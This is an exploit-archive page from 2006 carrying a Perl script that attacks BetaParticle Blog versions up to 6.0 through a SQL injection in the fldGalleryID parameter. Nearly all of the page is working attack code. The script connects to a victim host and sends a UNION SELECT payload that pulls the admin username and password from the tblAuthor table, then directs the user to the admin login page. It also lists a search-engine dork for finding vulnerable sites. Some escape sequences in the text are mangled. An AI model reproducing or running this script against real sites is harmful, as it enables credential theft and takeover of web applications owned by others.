[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : BetaParticle Blog <= 6.0 (fldGalleryID) Remote SQL Injection Exploit
# Published : 2006-03-18
# Author : nukedx
# Previous Title : Nodez <= 4.6.1.1 Mercury Multiple Remote Vulnerabilities
# Next Title : ShoutLIVE <= 1.1.0 (savesettings.php) Remote Code Execution Exploit
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=20
#Usage: beta.pl <host> <path>
#googledork: [ "Powered by bp blog" ] 9.710 pages..
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
print "n- NukedX Security Advisory Nr.2006-20rn";
print "- BetaParticle Blog <= 6.0 Remote SQL Injection Vulnerabilityrn";
}
sub usage()
{
header();
print "- Usage: $0 <host> <path>rn";
print "- <host> -> Victim's host ex: www.victim.comrn";
print "- <path> -> Path to BetaParticle ex: /blogrn";
exit();
}
sub exploit () {
#Our variables...
$bpserver = $ARGV[0];
$bpserver =~ s/(http://)//eg;
$bphost = "http://".$bpserver;
$bpdir = $ARGV[1];
$bpport = "80";
$bptar = "template_gallery_detail.asp?fldGalleryID=";
$bpfinal = "main.asp";
$bpxp = "-1+UNION+SELECT+null,fldAuthorUsername,fldAuthorPassword,null,null+FROM+tblAuthor+where+fldAuthorId=1";
$bpreq = $bphost.$bpdir.$bptar.$bpxp;
#Sending data...
header();
print "- Trying to connect: $bpserverrn";
$bp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$bpserver", PeerPort => "$bpport") || die "- Connection failed...n";
print $bp "GET $bpreq HTTP/1.1n";
print $bp "Accept: */*n";
print $bp "Referer: $bphostn";
print $bp "Accept-Language: trn";
print $bp "User-Agent: NukeZilla 4.3n";
print $bp "Cache-Control: no-cachen";
print $bp "Host: $bpservern";
print $bp "Connection: closenn";
print "- Connected...rn";
while ($answer = <$bp>) {
if ($answer =~ /<h3>(.*?)</h3>/) {
print "- Exploit succeed! Getting admin's informationrn";
print "- Username: $1rn";
}
if ($answer =~ /<p>(.*?)</p>/) {
print "- Password: $1rn";
print "- Lets go $bphost$bpdir$bpfinal for admin login.rn";
exit();
}
if ($answer =~ /number of columns/) {
print "- This version of BetaParticle is vulnerable toorn";
print "- but default query of SQL-Inj. does not work on itrn";
print "- So please edit query by manually adding null data..rn";
exit();
}
}
print "- Exploit failedn"
}
# www.Syue.com [2006-03-18]